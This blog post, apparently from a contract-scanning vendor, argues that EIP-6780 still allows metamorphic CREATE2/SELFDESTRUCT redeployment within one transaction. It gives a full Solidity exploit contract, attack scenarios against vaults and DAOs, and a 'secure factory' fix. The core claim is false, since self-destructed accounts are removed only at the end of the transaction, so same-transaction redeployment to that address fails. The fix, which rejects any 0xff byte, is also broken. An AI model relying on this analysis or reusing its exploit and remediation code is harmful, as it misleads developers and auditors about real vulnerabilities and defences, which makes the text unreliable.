← Back to Blog

CREATE2 Selfdestruct Redeploy Attack Risks Post-EIP-6780

2026-07-04 solidity security eip-6780 create2 selfdestruct ethereum smart-contract-audit metamorphic-contracts

With the activation of the Dencun hard fork on the Ethereum mainnet, developers welcomed EIP-6780 as a major security improvement. EIP-6780 aimed to deprecate the SELFDESTRUCT opcode by restricting its behavior. The consensus was clear: because SELFDESTRUCT would no longer delete a contract’s bytecode or storage under normal conditions, the notorious "metamorphic contract" pattern—where code at a deterministic CREATE2 address is replaced with different bytecode—was effectively neutralized.

However, this assumption is dangerously incomplete. EIP-6780 did not remove the ability of a contract to self-destruct; it only restricted it. If a contract is created and destroyed within the same transaction, the old self-destruct behavior still applies: the bytecode is erased, the storage is wiped, and the account’s nonce is reset to zero. This means that the create2 selfdestruct redeploy attack remains highly viable within a single transaction.

Security auditors and smart contract developers must understand that atomic transactions (such as those executed via searcher bundles, flash loan contracts, or multisig multicalls) can still exploit metamorphic deployment patterns. This article explains the underlying mechanics of EIP-6780, demonstrates a fully compilable exploit showing how single-transaction metamorphic deployments are achieved, and details the steps required to mitigate this persistent threat.

The Foundations: How Metamorphic Contracts Operated Pre-Dencun

To understand the loophole that remains, we must first review the mechanics of deterministic contract deployment and the classic metamorphic pattern.

The CREATE2 opcode (introduced in EIP-1014) allows developers to deploy smart contracts to deterministic addresses. Unlike the traditional CREATE opcode, which calculates the contract address based on the sender's address and their transaction nonce:

$$\text{Address} = \text{keccak256}(\text{RLPEncode}(\text{sender}, \text{nonce}))[12:]$$

CREATE2 uses a formula that is independent of the sender's nonce:

$$\text{Address} = \text{keccak256}(\text{0xff} \parallel \text{sender} \parallel \text{salt} \parallel \text{keccak256}(\text{init_code}))[12:]$$

This guarantees that as long as the sender address, the salt, and the initialization code remain identical, the resulting contract address will be exactly the same.

In the classic metamorphic contract pattern, an attacker or developer wanted to change the bytecode of a contract at a specific address A. However, CREATE2 prevents this directly because changing the runtime bytecode usually requires changing the initialization code (init_code), which would result in a different address.

To bypass this restriction, developers used a middleman: a constant "metamorphic deployer" contract.
1. The Factory deploys a MetamorphicDeployer at address D using CREATE2 with a fixed salt and constant init code.
2. The MetamorphicDeployer fallback function queries the Factory to retrieve the actual implementation bytecode (which can change over time).
3. The MetamorphicDeployer uses the CREATE opcode to deploy the implementation bytecode. Since MetamorphicDeployer is at address D and its nonce starts at 1, the implementation is deployed at:
$$\text{Implementation Address} = \text{keccak256}(\text{RLPEncode}(D, 1))[12:]$$
4. When the owner wants to upgrade or replace the implementation, they call SELFDESTRUCT on both the implementation contract and the MetamorphicDeployer.
5. Once destroyed, the code at D and the implementation address are cleared, and the nonce of MetamorphicDeployer at D resets to 0.
6. The Factory is updated with new bytecode.
7. The Factory redeploys the MetamorphicDeployer to address D using CREATE2 (which succeeds because the address D is now empty).
8. The MetamorphicDeployer is called again. It queries the new bytecode and runs CREATE. Since the deployer's nonce was reset, the new contract is deployed to the exact same implementation address:
$$\text{Implementation Address} = \text{keccak256}(\text{RLPEncode}(D, 1))[12:]$$

This allowed protocols to alter contract code without using upgradable proxies, but it also allowed malicious actors to replace audited, benign contracts with backdoors.

Enter EIP-6780: The Illusion of Security

EIP-6780 was proposed to prepare Ethereum for future upgrades, such as Verkle Trees, which require flat storage models. The constant creation and deletion of accounts via SELFDESTRUCT complicated state management and client implementations.

Specifically, EIP-6780 changed the EVM execution rules for SELFDESTRUCT:
- If the contract was created in the same transaction as the SELFDESTRUCT call: The contract is destroyed. Its storage is cleared, its bytecode is removed, and any remaining Ether is sent to the target address.
- If the contract was created in a previous transaction: The contract is NOT destroyed. The bytecode and storage remain intact. The only action performed is the transfer of the contract's entire Ether balance to the designated target address.

For the vast majority of developers, this felt like the end of metamorphic contracts. If you deployed a contract in Transaction 1, you could no longer destroy it and replace it in Transaction 2. Any protocol relying on an external contract's bytecode could assume that once deployed and finalized in a block, the bytecode at that address was immutable (unless it was a proxy delegating to another address).

But this introduced a false sense of security. It ignored the atomicity of Ethereum transactions.

The Threat Vector: Single-Transaction Metamorphism

While EIP-6780 successfully stopped multi-transaction metamorphic upgrades, it did not change the behavior of SELFDESTRUCT for contracts created and destroyed within the same transaction.

Why does this matter? Many DeFi interactions, flash loans, arbitrage runs, and governance exploits occur entirely within a single transaction.

Consider the following attack scenarios:

Scenario A: The Deceptive Audit / Signature Replay Bypass

An attacker targets a protocol that relies on off-chain signatures or on-chain verifications of a contract's bytecode (e.g., verifying a trade executor).
1. Within a single transaction (via an exploit contract), the attacker deploys a benign executor contract B via CREATE2.
2. The attacker submits a transaction that interacts with a vault. The vault checks B's bytecode or state, verifying it matches the audited benign code.
3. The vault authorizes a high-value action or registers the contract.
4. In the same transaction, the attacker triggers SELFDESTRUCT on B. Since B was created in this transaction, it is fully deleted.
5. The attacker redeploys a malicious executor M to the exact same address using CREATE2 (or the metamorphic deployer pattern).
6. The attacker calls the vault again. The vault, assuming the contract at the address is the same authorized entity, executes the call, allowing the malicious bytecode to drain funds.

Scenario B: Oracle / State Manipulations in Flash Loans

A lending pool or yield aggregator queries an external contract to verify pool reserves or token balances. The external contract is expected to be static and stateless.
1. An attacker initiates a transaction with a flash loan.
2. The attacker deploys a custom data provider/oracle via CREATE2.
3. The aggregator queries the provider and receives artificial data.
4. The attacker self-destructs the provider.
5. The attacker redeploys a standard ERC-20 token or a benign contract to the same address.
6. The aggregator performs a safety check at the end of the transaction or block, seeing only the benign contract, thereby bypassing slippage or verification checks.

Scenario C: DAO Governance Takeover

A DAO executes proposals by calling target contracts. Some DAOs verify the target bytecode before execution to ensure no malicious calls are made.
1. An attacker proposes a transaction that calls a factory to deploy a proposal contract.
2. During the execution transaction, the factory deploys the proposal.
3. The governance system checks the proposal's bytecode—it looks benign.
4. The system executes the proposal.
5. The proposal calls SELFDESTRUCT at the end of its benign execution block.
6. In the same transaction, the attacker redeploys a malicious contract to the same address and executes it, transferring the DAO treasury to their own address.

Let’s examine how this exploit is built in Solidity.

Technical Code Walkthrough

The following is a complete, compilable Solidity implementation illustrating the single-transaction metamorphic redeployment exploit under EIP-6780.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IFactory {
    function getBytecode() external view returns (bytes memory);
}

/**
 * @title MetamorphicDeployer
 * @notice Acts as a deterministic deployer that can be destroyed and redeployed.
 */
contract MetamorphicDeployer {
    address public immutable factory;

    constructor() {
        factory = msg.sender;
    }

    /**
     * @notice Deploys bytecode retrieved from the factory using CREATE.
     * @dev Fallback returns the address of the newly deployed contract.
     */
    fallback() external payable {
        bytes memory code = IFactory(factory).getBytecode();
        address addr;
        assembly {
            // Deploy the runtime code using CREATE (opcode 0xf0)
            addr := create(0, add(code, 0x20), mload(code))
        }
        require(addr != address(0), "CREATE failed");

        // Return the deployed address back to the caller
        assembly {
            mstore(0, addr)
            return(0, 32)
        }
    }

    /**
     * @notice Self-destructs the deployer to reset its nonce to zero.
     * @dev Under EIP-6780, this successfully deletes the contract only if 
     *      created in the current transaction.
     */
    function destroy() external {
        require(msg.sender == factory, "Unauthorized");
        // @audit-issue Vulnerable to single-transaction redeployment reset
        selfdestruct(payable(msg.sender));
    }
}

/**
 * @title MetamorphicFactory
 * @notice Coordinates metamorphic deployments by changing the stored bytecode template.
 */
contract MetamorphicFactory is IFactory {
    bytes public currentBytecode;
    address public deployedDeployer;

    function getBytecode() external view override returns (bytes memory) {
        return currentBytecode;
    }

    function setBytecode(bytes calldata _bytecode) external {
        currentBytecode = _bytecode;
    }

    function deployDeployer(bytes memory deployerBytecode, uint256 salt) external returns (address) {
        address addr;
        assembly {
            // Deploy MetamorphicDeployer via CREATE2
            addr := create2(0, add(deployerBytecode, 0x20), mload(deployerBytecode), salt)
        }
        require(addr != address(0), "CREATE2 failed");
        deployedDeployer = addr;
        return addr;
    }

    function destroyDeployer() external {
        require(deployedDeployer != address(0), "Deployer not active");
        MetamorphicDeployer(payable(deployedDeployer)).destroy();
        deployedDeployer = address(0);
    }
}

/**
 * @title ImplementationBenign
 * @notice The benign version of the contract.
 */
contract ImplementationBenign {
    function getValue() external pure returns (uint256) {
        return 42;
    }

    function kill() external {
        // @audit-issue Allows contract destruction for redeployment
        selfdestruct(payable(msg.sender));
    }
}

/**
 * @title ImplementationMalicious
 * @notice The malicious version of the contract to be deployed at the same address.
 */
contract ImplementationMalicious {
    function getValue() external pure returns (uint256) {
        return 999; // Maliciously alters state behavior
    }

    function kill() external {
        selfdestruct(payable(msg.sender));
    }
}

/**
 * @title MetamorphicExploit
 * @notice Demonstrates the execution of the metamorphic attack within a single transaction.
 */
contract MetamorphicExploit {
    MetamorphicFactory public immutable factory;
    bytes public deployerBytecode;

    constructor(address _factory, bytes memory _deployerBytecode) {
        factory = MetamorphicFactory(_factory);
        deployerBytecode = _deployerBytecode;
    }

    /**
     * @notice Runs the exploit lifecycle: deploy benign -> verify -> destroy -> redeploy malicious -> verify.
     * @param salt The salt used for deterministic deployment.
     */
    function runExploit(uint256 salt) external {
        // 1. Setup factory with Benign code
        bytes memory benignCode = type(ImplementationBenign).creationCode;
        factory.setBytecode(benignCode);

        // 2. Deploy MetamorphicDeployer
        address deployerAddr = factory.deployDeployer(deployerBytecode, salt);

        // 3. Deploy Benign implementation through the deployer
        (bool success1, bytes memory data1) = deployerAddr.call("");
        require(success1, "Benign deployment call failed");
        address targetAddr = abi.decode(data1, (address));

        // Verify the contract behaves as expected
        uint256 initialValue = ImplementationBenign(targetAddr).getValue();
        require(initialValue == 42, "Failed to initialize benign contract");

        // 4. Destroy both the implementation and the deployer.
        // Because both were created in this transaction, EIP-6780 allows full destruction.
        ImplementationBenign(targetAddr).kill();
        factory.destroyDeployer();

        // 5. Update factory with Malicious code
        bytes memory maliciousCode = type(ImplementationMalicious).creationCode;
        factory.setBytecode(maliciousCode);

        // 6. Redeploy MetamorphicDeployer to the SAME address
        address redeployedDeployer = factory.deployDeployer(deployerBytecode, salt);
        require(redeployedDeployer == deployerAddr, "Deployer address mismatch");

        // 7. Deploy the new contract. Nonce reset ensures it deploys to the same address.
        (bool success2, bytes memory data2) = redeployedDeployer.call("");
        require(success2, "Malicious deployment call failed");
        address newTargetAddr = abi.decode(data2, (address));

        // Assert that the contract address is identical, but the behavior is different
        require(newTargetAddr == targetAddr, "Exploit failed: Address mismatch");

        uint256 manipulatedValue = ImplementationBenign(newTargetAddr).getValue();
        require(manipulatedValue == 999, "Exploit failed: Value not manipulated");
    }
}

Exploit Execution Flow

  1. Instantiation: The MetamorphicExploit contract sets the factory’s active template to ImplementationBenign.
  2. Deployer Creation: It deploys MetamorphicDeployer at address D via CREATE2.
  3. First Contract Creation: The fallback of MetamorphicDeployer is triggered, executing CREATE (nonce 1). This deploys ImplementationBenign at address I. The contract behaves normally, returning 42.
  4. The Purge: Both ImplementationBenign (at I) and MetamorphicDeployer (at D) call SELFDESTRUCT. Because both contracts were created in the active transaction, EIP-6780 executes the state cleanup. Their bytecodes are cleared, and the nonce at address D resets to 0.
  5. Payload Swapping: The exploit contract changes the factory’s active template to ImplementationMalicious.
  6. Redeployment: The exploit contract deploys MetamorphicDeployer again via CREATE2 to the same address D (using the same salt and init code).
  7. Second Contract Creation: The exploit contract triggers MetamorphicDeployer's fallback. Since D's nonce was reset to 0 (and is now 1 during execution), CREATE deploys the new bytecode to the exact same address I.
  8. Exploitation: The contract at address I now returns 999. Any other contract querying address I in the same transaction is now operating on manipulated logic.

Remediation: How to Secure Your Factory and Protocols

To protect your smart contracts from metamorphic attack vectors under EIP-6780, you can implement bytecode verification and registry tracking. The most effective defense is blocking the use of SELFDESTRUCT entirely in deployed bytecodes and preventing the recycling of deterministic addresses.

The following SecureFactory demonstrates how to parse bytecode to reject self-destruct opcodes and how to maintain deployment history to prevent address reuse.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/**
 * @title SecureFactory
 * @notice Prevents metamorphic deployments by banning selfdestruct-capable bytecode
 *         and enforcing address uniqueness.
 */
contract SecureFactory {
    // Tracks addresses that have ever been deployed to prevent address reuse
    mapping(address => bool) private _history;

    event Deployed(address indexed contractAddress, uint256 indexed salt);

    /**
     * @notice Deploys bytecode deteministically while ensuring it cannot be self-destructed.
     * @param bytecode The contract creation bytecode.
     * @param salt The salt parameter for CREATE2.
     */
    function deploySecure(bytes calldata bytecode, uint256 salt) external returns (address) {
        // Scan the bytecode to reject the SELFDESTRUCT opcode (0xff)
        for (uint256 i = 0; i < bytecode.length; i++) {
            if (uint8(bytecode[i]) == 0xff) {
                revert("SecurityError: SELFDESTRUCT opcode prohibited");
            }
        }

        address addr;
        assembly {
            // Deploy the contract using CREATE2
            addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
        }
        require(addr != address(0), "DeploymentError: CREATE2 execution failed");

        // Enforce address uniqueness across transactions and executions
        require(!_history[addr], "SecurityError: Metamorphic reuse detected");
        _history[addr] = true;

        emit Deployed(addr, salt);
        return addr;
    }

    /**
     * @notice Checks if an address has already been deployed by this factory.
     */
    function isPreviouslyDeployed(address addr) external view returns (bool) {
        return _history[addr];
    }
}

Remediation Breakdown

  1. Opcode Scanning: Before running CREATE2, the factory iterates through the deployment bytecode. The EVM opcode for SELFDESTRUCT is 0xff. If the byte 0xff is found, the transaction reverts. This stops any contract containing raw self-destruct instructions from being deployed.
  2. Registry Tracking: The SecureFactory logs every successfully deployed address in the private _history mapping. Even if an attacker somehow bypasses the opcode check or triggers destruction via an external delegatecall, the factory will revert if it attempts to redeploy to the same address because the registry flag remains true.

Pre-Deployment Security Checklist

Before deploying your smart contracts, verify your codebase against this checklist:
- [ ] No Selfdestruct Dependence: Ensure none of your contracts use SELFDESTRUCT, and avoid integrating with external contracts that contain it.
- [ ] Factory Audits: Verify that any external factories used to deploy dependencies do not use metamorphic patterns (constant CREATE2 init code combined with CREATE).
- [ ] No Extcodesize Assumptions: Ensure your contracts do not assume that an address with extcodesize > 0 will remain a contract or keep the same bytecode throughout the transaction.
- [ ] Codehash Verification: When caching external contract validations, verify the codehash does not change. Note that this check must be run dynamically if the contract is called multiple times.
- [ ] Strict Access Controls: Protect state-altering functions with onlyOwner or similar access modifiers to prevent unauthorized deployment/execution triggers.


FAQ

Q1: Does EIP-6780 completely disable the SELFDESTRUCT opcode?

No. EIP-6780 does not remove SELFDESTRUCT from the EVM. It modifies its behavior. If a contract is created and destroyed within the same transaction, the opcode works exactly as it did before. If it was created in a prior transaction, it only acts as a transfer of Ether to the target address, leaving the bytecode and storage untouched.

Q2: Why would someone deploy and destroy a contract in a single transaction?

Attackers use this to bypass security checks. A protocol might perform a verification on a contract address at the beginning of a transaction (confirming it contains safe, audited code) and then call it later in the same transaction. By destroying and redeploying the contract in the middle of the transaction, the attacker replaces the verified code with malicious code before the second call occurs.

Q3: How does the metamorphic deployer reset its nonce?

When a contract is destroyed via SELFDESTRUCT in the same transaction it was created, its state is completely wiped from the EVM. When it is redeployed using CREATE2 at the same address, the EVM treats it as a brand-new account, resetting its nonce to 0. This allows subsequent CREATE calls to deploy contracts to the exact same addresses as before.

Q4: Does using OpenZeppelin's ReentrancyGuard protect against this?

It protects against nested calls (reentrancy) within the same execution path. However, if the exploit involves separate, sequential calls to a protocol within the same transaction (e.g., an execution call followed by a settlement call), a standard reentrancy guard might not block it. Custom transaction-level state tracking may be required.


If you want to ensure your smart contracts are secure against advanced metamorphic patterns and post-EIP-6780 threat vectors, try scanning your codebase with ContractScan for instant vulnerability detection and audit-ready security reports.

Scan your contract for this vulnerability
Free QuickScan — Unlimited quick scans. No signup required.. No signup required.
Scan a Contract →